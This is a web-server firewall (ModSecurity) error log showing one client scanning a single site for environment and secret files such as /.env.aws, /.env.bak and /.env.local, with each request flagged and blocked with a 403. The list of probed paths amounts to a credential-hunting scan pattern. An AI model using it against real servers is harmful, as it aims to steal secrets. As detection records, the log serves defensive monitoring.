[Tue Oct 27 05:23:44.709402 2026] [security2:error] [pid 3201655:tid 3201655] [client 35.240.58.49:33920] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBtoGBUeABT7S80KTVFjwAAABY"]
[Tue Oct 27 05:23:44.709580 2026] [security2:error] [pid 3201655:tid 3201655] [client 35.240.58.49:33920] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBtoGBUeABT7S80KTVFjwAAABY"]
[Tue Oct 27 05:23:44.709859 2026] [security2:error] [pid 3201655:tid 3201655] [client 35.240.58.49:33920] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBtoGBUeABT7S80KTVFjwAAABY"]
[Tue Oct 27 05:23:44.711450 2026] [security2:error] [pid 3201641:tid 3201641] [client 35.240.58.49:33930] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "auBtoB6MTIKaGGLTiEIYwwAAAAc"]
[Tue Oct 27 05:23:44.711649 2026] [security2:error] [pid 3201641:tid 3201641] [client 35.240.58.49:33930] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "auBtoB6MTIKaGGLTiEIYwwAAAAc"]
[Tue Oct 27 05:23:44.711935 2026] [security2:error] [pid 3201641:tid 3201641] [client 35.240.58.49:33930] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "auBtoB6MTIKaGGLTiEIYwwAAAAc"]
[Tue Oct 27 05:23:44.712497 2026] [security2:error] [pid 3201647:tid 3201647] [client 35.240.58.49:33874] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "auBtoJVvqGtwGAy54pYOXAAAAA0"]
[Tue Oct 27 05:23:44.712636 2026] [security2:error] [pid 3201647:tid 3201647] [client 35.240.58.49:33874] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "auBtoJVvqGtwGAy54pYOXAAAAA0"]
[Tue Oct 27 05:23:44.712845 2026] [security2:error] [pid 3201647:tid 3201647] [client 35.240.58.49:33874] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "auBtoJVvqGtwGAy54pYOXAAAAA0"]
[Tue Oct 27 05:23:44.713542 2026] [security2:error] [pid 3201653:tid 3201653] [client 35.240.58.49:33932] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.aws"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "auBtoPNweTK95FG6k466nQAAABQ"]
[Tue Oct 27 05:23:44.713691 2026] [security2:error] [pid 3201653:tid 3201653] [client 35.240.58.49:33932] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "auBtoPNweTK95FG6k466nQAAABQ"]
[Tue Oct 27 05:23:44.713903 2026] [security2:error] [pid 3201653:tid 3201653] [client 35.240.58.49:33932] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "auBtoPNweTK95FG6k466nQAAABQ"]
[Tue Oct 27 05:23:44.725752 2026] [security2:error] [pid 3201645:tid 3201645] [client 35.240.58.49:33908] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auBtoJKov8XCMSQ3KFeUtgAAAAs"]
[Tue Oct 27 05:23:44.725886 2026] [security2:error] [pid 3201645:tid 3201645] [client 35.240.58.49:33908] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auBtoJKov8XCMSQ3KFeUtgAAAAs"]
[Tue Oct 27 05:23:44.726133 2026] [security2:error] [pid 3201645:tid 3201645] [client 35.240.58.49:33908] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auBtoJKov8XCMSQ3KFeUtgAAAAs"]
[Tue Oct 27 05:23:44.735816 2026] [security2:error] [pid 3201656:tid 3201656] [client 35.240.58.49:33940] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auBtoEmqTSs7laY6jMTh5wAAABc"]
[Tue Oct 27 05:23:44.735975 2026] [security2:error] [pid 3201656:tid 3201656] [client 35.240.58.49:33940] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auBtoEmqTSs7laY6jMTh5wAAABc"]
[Tue Oct 27 05:23:44.736241 2026] [security2:error] [pid 3201656:tid 3201656] [client 35.240.58.49:33940] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auBtoEmqTSs7laY6jMTh5wAAABc"]
[Tue Oct 27 05:23:44.765156 2026] [security2:error] [pid 3175284:tid 3175284] [client 35.240.58.49:33906] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auBtoEQFomyjz0g-y4eOqwAAAAo"]
[Tue Oct 27 05:23:44.765364 2026] [security2:error] [pid 3175284:tid 3175284] [client 35.240.58.49:33906] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auBtoEQFomyjz0g-y4eOqwAAAAo"]
[Tue Oct 27 05:23:44.765649 2026] [security2:error] [pid 3175284:tid 3175284] [client 35.240.58.49:33906] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auBtoEQFomyjz0g-y4eOqwAAAAo"]
[Tue Oct 27 05:23:44.778319 2026] [security2:error] [pid 3201646:tid 3201646] [client 35.240.58.49:33902] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auBtoBEnDOWBtFG5jRP6-gAAAAw"]
[Tue Oct 27 05:23:44.778473 2026] [security2:error] [pid 3201646:tid 3201646] [client 35.240.58.49:33902] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auBtoBEnDOWBtFG5jRP6-gAAAAw"]
[Tue Oct 27 05:23:44.778697 2026] [security2:error] [pid 3201646:tid 3201646] [client 35.240.58.49:33902] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auBtoBEnDOWBtFG5jRP6-gAAAAw"]
[Tue Oct 27 05:23:44.779654 2026] [security2:error] [pid 3201640:tid 3201640] [client 35.240.58.49:33890] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auBtoOJWPhOgLfVxy6aSRwAAAAI"]
[Tue Oct 27 05:23:44.779789 2026] [security2:error] [pid 3201640:tid 3201640] [client 35.240.58.49:33890] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auBtoOJWPhOgLfVxy6aSRwAAAAI"]
[Tue Oct 27 05:23:44.780008 2026] [security2:error] [pid 3201640:tid 3201640] [client 35.240.58.49:33890] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auBtoOJWPhOgLfVxy6aSRwAAAAI"]
[Tue Oct 27 05:23:44.784620 2026] [security2:error] [pid 3201655:tid 3201655] [client 35.240.58.49:33920] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auBtoGBUeABT7S80KTVFkAAAABY"]
[Tue Oct 27 05:23:44.784768 2026] [security2:error] [pid 3201655:tid 3201655] [client 35.240.58.49:33920] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auBtoGBUeABT7S80KTVFkAAAABY"]
[Tue Oct 27 05:23:44.784980 2026] [security2:error] [pid 3201655:tid 3201655] [client 35.240.58.49:33920] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auBtoGBUeABT7S80KTVFkAAAABY"]
[Tue Oct 27 05:23:44.787342 2026] [security2:error] [pid 3201641:tid 3201641] [client 35.240.58.49:33930] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auBtoB6MTIKaGGLTiEIYxAAAAAc"]
[Tue Oct 27 05:23:44.787472 2026] [security2:error] [pid 3201641:tid 3201641] [client 35.240.58.49:33930] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auBtoB6MTIKaGGLTiEIYxAAAAAc"]
[Tue Oct 27 05:23:44.787725 2026] [security2:error] [pid 3201641:tid 3201641] [client 35.240.58.49:33930] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auBtoB6MTIKaGGLTiEIYxAAAAAc"]
[Tue Oct 27 05:23:44.788286 2026] [security2:error] [pid 3201647:tid 3201647] [client 35.240.58.49:33874] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auBtoJVvqGtwGAy54pYOXQAAAA0"]
[Tue Oct 27 05:23:44.788422 2026] [security2:error] [pid 3201647:tid 3201647] [client 35.240.58.49:33874] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auBtoJVvqGtwGAy54pYOXQAAAA0"]
[Tue Oct 27 05:23:44.788628 2026] [security2:error] [pid 3201647:tid 3201647] [client 35.240.58.49:33874] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auBtoJVvqGtwGAy54pYOXQAAAA0"]
[Tue Oct 27 05:23:44.796977 2026] [security2:error] [pid 3201653:tid 3201653] [client 35.240.58.49:33932] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auBtoPNweTK95FG6k466ngAAABQ"]
[Tue Oct 27 05:23:44.797170 2026] [security2:error] [pid 3201653:tid 3201653] [client 35.240.58.49:33932] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auBtoPNweTK95FG6k466ngAAABQ"]
[Tue Oct 27 05:23:44.797422 2026] [security2:error] [pid 3201653:tid 3201653] [client 35.240.58.49:33932] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auBtoPNweTK95FG6k466ngAAABQ"]
